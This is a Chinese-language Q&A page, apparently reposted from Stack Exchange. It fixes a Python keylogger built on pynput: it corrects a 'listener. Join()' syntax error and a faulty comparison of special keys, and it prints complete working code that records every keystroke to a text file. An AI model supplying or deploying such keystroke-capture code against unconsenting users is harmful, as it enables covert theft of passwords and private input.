Python按键记录器代码重启后报错,终端显示按键信息求助
问题分析与修复方案
直接报错原因
代码最后一行listener. Join()存在语法错误:方法调用时,.和方法名join之间不能有空格,正确写法是listener.join()。这是导致重新运行时报错的核心原因。
其他逻辑问题(影响功能正常记录)
除了语法错误,代码还有两处逻辑问题导致按键记录不符合预期:
- 特殊按键判断无效:
k = str(key).replace("'","")得到的是字符串(比如"Key.space"),但Key.space是枚举对象,直接用字符串和枚举对象比较永远不成立,导致空格、回车无法被正确转换为空格和换行符。 - 重复写入内容:不管特殊按键的判断是否触发,都会执行
f.write(k),导致特殊按键会被写入两次(比如空格会被写入"Key.space ")。
修复后的完整代码
import pynput from pynput.keyboard import Key, Listener count = 0 keys = [] def write_file(keys): with open("thefile.txt", "a") as f: for key in keys: # 先处理特殊按键 if key == Key.space: f.write(" ") elif key == Key.enter: f.write("\n") elif isinstance(key, Key): # 处理其他功能键,比如Shift、Ctrl等,可按需调整输出格式 f.write(f"[{key.name}]") else: # 处理普通字符,去掉单引号 k = str(key).replace("'", "") f.write(k) def press(key): global count, keys keys.append(key) count += 1 print("{0} pressed".format(key)) if count >= 5: count = 0 write_file(keys) keys = [] def release(key): if key == Key.esc: return False with Listener(on_press=press, on_release=release) as listener: listener.join()
修复说明
- 修正了
listener.join()的语法错误,移除了.和join之间的空格。 - 调整特殊按键的判断逻辑:直接用
key对象和Key枚举成员比较,避免字符串与枚举对象的无效对比。 - 使用
elif分支避免重复写入,确保每个按键只被处理一次。 - 增加了对其他功能键的处理逻辑,可根据需求调整输出格式。
内容的提问来源于stack exchange,提问作者Sinjini
相关产品推荐
相关产品推荐

